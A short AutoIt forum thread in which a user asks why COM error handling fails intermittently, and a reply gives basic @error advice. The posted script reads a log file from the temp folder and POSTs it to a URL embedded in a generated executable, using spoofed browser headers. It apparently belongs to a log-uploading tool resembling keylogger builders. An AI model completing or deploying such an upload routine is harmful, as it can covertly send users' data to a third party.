COM error handling works randomly

[autoking]

Hi. my com error handling works randomly, Like every second time it cathes if there's a error, if it couldn't connect to my site.

Global $url = IniRead(@scriptdir & "\file.exe", 'data', 'data', 'Null')
global $f = FileOpen(@TempDir & "\file.txt") ;upload 1
$read = FileRead($f)
$data = "Log=" & $read
$oMyError = ObjEvent("AutoIt.Error","MyErrFunc")
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", $url, False)
$oHTTP.SetRequestHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 4.0.20506)")
$oHTTP.SetRequestHeader("Referrer", "http://www.yahoo.com")
$oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
$oHTTP.Send($data)
;$oReceived = $oHTTP.ResponseText
;MsgBox(4096, "", "file.exe have been generated")
FileClose($f)



Case $show



Case $help


EndSwitch
WEnd

Func MyErrFunc()
MsgBox(4096, "", "A test log could not be send - please ensure you have uploaded & defined the right path.")
Endfunc

can i make some error handling with this? : $oReceived = $oHTTP.ResponseText

[autoking]

I found out the problem is EndSwitc

[autoking]

any way to prevent that from happening?

COM error handling in AutoIt is quite simple.... the script just stops..... Unless you use your own error handling. After a COM call use code like..

if @error then
msgbox(0, "bla", "tell me something")
endif

Tho, the actions taken can be whatever you wish. In my scripts I code verbose log writing, so errors are recorded in external logs (which I designed). Ayways, do a search in the AutoIt help and you'll find COM Reference, there's some good stuff in there.
